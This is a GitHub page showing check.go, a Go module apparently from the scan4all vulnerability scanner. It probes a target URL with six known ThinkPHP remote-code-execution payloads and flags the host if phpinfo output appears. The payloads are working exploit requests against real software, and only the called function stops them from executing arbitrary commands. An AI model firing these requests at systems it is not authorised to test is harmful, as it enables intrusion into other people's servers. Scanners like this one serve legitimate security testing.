forked from GhostTroops/scan4all
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcheck.go
47 lines (45 loc) · 2.18 KB
/
check.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package ThinkPHP
import (
"fmt"
"github.com/hktalent/scan4all/pkg"
"strings"
)
func RCE(u string) bool {
if req, err := pkg.HttpRequset(u+"/index.php?s=captcha", "POST", "_method=__construct&filter[]=phpinfo&server[REQUEST_METHOD]=1", false, nil); err == nil {
if strings.Contains(req.Body, "PHP Version") {
pkg.GoPocLog(fmt.Sprintf("Found vuln ThinkPHP RCE|\"%s\"\n", u+"/index.php?s=captcha"))
return true
}
}
if req, err := pkg.HttpRequset(u+"/index.php?s=captcha", "POST", "_method=__construct&method=GET&filter[]=phpinfo&get[]=1", false, nil); err == nil {
if strings.Contains(req.Body, "PHP Version") {
pkg.GoPocLog(fmt.Sprintf("Found vuln ThinkPHP RCE|\"%s\"\n", u+"/index.php?s=captcha"))
return true
}
}
if req, err := pkg.HttpRequset(u+"/index.php?s=captcha", "POST", "s=1&_method=__construct&method&filter[]=phpinfo", false, nil); err == nil {
if strings.Contains(req.Body, "PHP Version") {
pkg.GoPocLog(fmt.Sprintf("Found vuln ThinkPHP RCE|\"%s\"\n", u+"/index.php?s=captcha"))
return true
}
}
if req, err := pkg.HttpRequset(u+"/index.php?s=index/\\think\\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1", "GET", "", false, nil); err == nil {
if strings.Contains(req.Body, "PHP Version") {
pkg.GoPocLog(fmt.Sprintf("Found vuln ThinkPHP RCE|\"%s\"\n", u+"/index.php?s=index/\\think\\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1"))
return true
}
}
if req, err := pkg.HttpRequset(u+"/index.php?s=index/think\\request/input?data[]=1&filter=phpinfo", "GET", "", false, nil); err == nil {
if strings.Contains(req.Body, "PHP Version") {
pkg.GoPocLog(fmt.Sprintf("Found vuln ThinkPHP RCE|\"%s\"\n", u+"/index.php?s=index/think\\request/input?data[]=1&filter=phpinfo"))
return true
}
}
if req, err := pkg.HttpRequset(u+"/index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1", "GET", "", false, nil); err == nil {
if strings.Contains(req.Body, "PHP Version") {
pkg.GoPocLog(fmt.Sprintf("Found vuln ThinkPHP RCE|\"%s\"\n", u+"/index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"))
return true
}
}
return false
}